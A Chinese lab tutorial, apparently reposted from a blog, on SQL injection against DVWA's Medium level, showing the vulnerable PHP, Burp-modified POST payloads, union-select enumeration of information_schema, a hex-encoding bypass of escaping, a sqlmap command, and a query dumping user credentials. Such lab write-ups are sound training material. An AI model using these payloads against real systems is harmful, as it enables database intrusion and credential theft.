(八)DVWA之SQL Injection--SQLMap&Burp测试(Medium)
一、测试需求分析
测试对象:DVWA漏洞系统--SQL Injection模块--User ID提交功能
防御等级:Medium
测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数据库数据
测试方式:手工/SQLMap+BurpSuite
url: http://localhost:8001/dvwa/vulnerabilities/sqli/

防御等级为Medium的后端控制代码:
medium.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . mysqli_connect_error() . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
比较medium.php和low.php的控制代码:

| 差异点 | Medium | Low |
|---|---|---|
| 1. 字符转义处理 | mysqli_real_escape_string() | |
| 2. query参数类型 | user_id = $id | user_id = '$id' |
| 3. 参数传递请求 |
从以上代码比较分析可知:
- 防御为Medium级别的代码对参数id进行了过滤,通过PHP函数
mysqli_real_escape_string()将$id变量中的特殊符号(如:单引号'、双引号"、反斜杠\...)进行转义处理;同时前端页面设置成了下拉表单的样式,以此控制用户的输入 - Medium级别的query查询语句中的参数id去掉了引号,调整成数字型,Low级别的是字符型(参数值带引号)
- Medium级别:
$_POST接收POST方式发送的请求,POST请求通过form表单传输参数;Low级别:$_REQUEST可接收GET或POST方式发送的请求。而GET方式发送的GET请求通过地址栏传输参数
PS:mysqli_real_escape_string()函数的作用,可参看==>PHP 5 MySQLi 函数

对于Medium级别的前后端的代码和样式调整,采取的测试策略为:
1. 利用拦截工具(BurpSuite)拦截浏览器端和服务器端之间的POST请求数据,抓取涉及查询的数据,修改参数,构造恶意攻击的查询语句绕过客户端直接向服务端发送请求
2. 除此,还可以利用SQLMap自动化工具进行测试基于POST请求的SQL注入漏洞,此时需要结合请求体中的Form Data一起检测(常规情况下,因POST请求的url中不包含传递的参数,参数放在了Form Data中进行传递)
二、判断是否存在注入点,以及注入的类型
方式1:

在Raw数据区域,右键选择Send to Repeater
修改拦截数据中POST请求体的id参数为:
id=1' or 1=1 # 提交后返回空白记录
id=1' or 1=2 # 提交后返回空白记录
id=1 or 1=1 # 提交后返回所有ID的First name、Surname
id=1 or 1=2 # 提交后无返回ID相关的数据
从以上数据可判断,对于url(http://localhost:8001/dvwa/vulnerabilities/sqli/),其POST请求Form Data中的参数id存在数字型的SQL注入
方式2:
也可以利用SQLMap来检查注入点,此时需要获取cookie、POST请求体中的数据(通过浏览器的F12查看or拦截工具查看)

SQLMap操作命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=5cumofndbv4g7cme2jj5gci0s1" --batch

三、获取数据库信息
1.猜解所查询的字段数目
构造参数id取值的SQL查询
1 order by 2 # 提交后返回正常的ID数据
1 order by 3 # 提交后返回空白记录

==>说明SQL查询的有2个字段
2.获取字段显示位
1 union select 1,2 # 提交后返回的显示位分别在字段First name、Surname上
对于后端PHP语言环境(Response数据中已列出),数字型的查询,大致可推测出Query语句类似如==> select FirstName,Surname from UserTables where UserID=$id;

3.通过显示位获取数据库信息
尝试用Mysql的内置函数在字段显示位上获取数据库信息
database()------------当前连接数据库的名称
version()-------------DBMS的版本
user()----------------当前连接数据库的用户
@@version_compile_os--服务器的操作系统
@@datadir-------------数据库存储目录


4.获取数据库中的表名
- 获取DBMS中所有数据库的名称
1 union select 1,schema_name from information_schema.schemata #

- 获取当前连接数据库(dvwa)中的所有表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

5.获取表中的列名(字段)
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查询返回空白记录,推测很可能是后端的mysqli_real_escape_string()函数对query语句中的单引号作了转义处理

重新调整策略,对query语句中的users字符串进行16进制转换以期绕过服务端的转义机制,引号则不需要出现在16进制中
十六进制常量
MySQL支持十六进制值,一个十六进制值通常指定为一个字符串常量。每对十六进制数字被转换为一个字符,其最前面有一个大写字母“X”或小写“x”。在引号中只可以使用数字[0-9]、字母[a-f]、[A-F],x'4D7953514C'表示字符串MySQL。
十六进制数值不区分大小写,其前缀“X”或“x”可以被“0x”取代而且不用引号。即X'41'可以替换为0x41,注意:“0x”中x一定要小写。
十六进制值的默认类型是字符串。如果想要确保该值作为数字处理,可以使用cast(...AS UNSIGNED)。如执行语句:SELECT0x41, CAST(0x41 AS UNSIGNED);
如果要将一个字符串或数字转换为十六进制格式的字符串,可以用hex()函数。如将字符串CAT转换为16进制:SELECT HEX('CAT');
进行16进制(Hex编码)转换: users ==> 0x7573657273
转换操作可以利用专门的工具,也可利用python代码实现转换过程

import binascii
h = binascii.b2a_hex(b'users')
# h = b'users'.hex()
print(h)

将python输出的字符串7573657273的前面加上0x变为:0x7573657273
对应的SQLMap操作命令为:
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
获取到了users表中的8个字段的名称

6.导出数据库中的数据
1 union select 1,concat_ws(0x2D2D,user,password) from users #
其中0x2D2D表示16进制的字符串'--'
获取到了前端登录dvwa站点的用户名和密码

7.验证导出数据的有效性
同样的,对获取的密码解密之后即可登录检查,解密方式可参看==>手工测试DVWA之SQL注入漏洞-详细解析(防御: Low)
作者:Fighting_001
链接:https://www.jianshu.com/p/9498ddce285a
来源:简书
(八)DVWA之SQL Injection--SQLMap&Burp测试(Medium)的更多相关文章
- 使用sqlmap注入DVWA的SQL Injection菜单
1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...
- 【DVWA】SQL Injection(SQL 注入)通关教程
日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...
- DVWA之SQL Injection
SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...
- DVWA之 SQL Injection(Blind)
SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...
- DVWA(三):SQL injection 全等级SQL注入
(本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...
- 通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解
0x1 工具和环境介绍 dvwa:渗透测试环境 BurpSuite:强大的WEB安全测试工具 sqlmap:强大的sql注入工具 以上工具和环境都在kali linux上安装和配置. 0x2 步骤说明 ...
- DVWA 黑客攻防演练(八)SQL 注入 SQL Injection
web 程序中离不开数据库,但到今天 SQL注入是一种常见的攻击手段.如今现在一些 orm 框架(Hibernate)或者一些 mapper 框架( iBatis)会对 SQL 有一个更友好的封装,使 ...
- sqlmap dvwa SQL Injection使用小记
刚刚开始学习sql injection,初步使用sqlmap,使用 GET http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submi ...
随机推荐
- js对页面中的内容进行拼音搜索,只对后台已经传过来的页面数据进行索引
实现输入拼音(可以使用拼音首字母来查),来查询出已经存在于页面的数据 注意:这种写法只能适用于页面中已经存在的数据进行检索,大体意思是将本页内的数据拼接成一个字符串,然后通过该字符串去检索匹配的字符串 ...
- 如何搭建一个WEB服务器项目(五)—— Controller返回JSON字符串
从服务器获取所需数据(JSON格式) 观前提示:本系列文章有关服务器以及后端程序这些概念,我写的全是自己的理解,并不一定正确,希望不要误人子弟.欢迎各位大佬来评论区提出问题或者是指出错误,分享宝贵经验 ...
- HTML标签和属性三
八.列表 1.列表的作用 让数据有条理的显示,在数据之前添加标识 但是现在页面布局,经常会使用到无序列表 2.列表的组成 ①有序列表 <ol> <li></li> ...
- DOM面试题
1.利用冒泡和不利用冒泡的差别 答案: 1.绑定位置不同:不利用冒泡绑定在目标元素上,利用冒泡绑定在父元素上. 2.监听对象的个数不同:不利用冒泡会反复创建多个监听,利用冒泡始终只有 一个监听. 3. ...
- MySQL(7)— 索引
七.索引 MySQL官方对索引的定义为:索引(Index)是帮助 MySQL 高效 获取数据的数据结构. 7-1.索引的分类 主键索引 (primary key) 唯一的标识,主键不可重复,只能有一个 ...
- 蓝桥杯 试题 历届试题 填字母游戏 博弈+dfs剪枝
问题描述 小明经常玩 LOL 游戏上瘾,一次他想挑战K大师,不料K大师说: “我们先来玩个空格填字母的游戏,要是你不能赢我,就再别玩LOL了”. K大师在纸上画了一行n个格子,要小明和他交替往其中填入 ...
- 单词数(hdu2072)
这道题用到了(STL初步)集合:Set 的知识点.同时,也用到了stringstream 的知识点,还用到了getline(cin,line)的知识点. #include<iostream> ...
- zqt_helper 轻松开发Qt5 Widgets应用
目标: 1. 代码更加紧凑,所写即所到. 2. 代码层次更直观,直接反映界面窗口层次关系. 3. 不继承类,不重写虚函数,slot接收QEvent. 4. 简单写布局,忘掉api函数. 5. 免去一大 ...
- eatwhatApp开发实战(九)
之前我们为app在item项上添加了点击出现修改对话框,对店名进行修改的功能,其中我们会发现我们点击item和点击item上的按钮会有点击冲突.这次我们来修正下这个问题,同时介绍item项的长按点击O ...
- echarts的时间轴的提示内容写在轴下方
echarts的时间轴的提示内容写在轴下方 在echarts中横坐标的拖动轴dataZone的提示内容在两端,并且没有相关配置让其显示在轴下方或者其他位置. 解决方式: 在图标下方添加dom并且监听拖 ...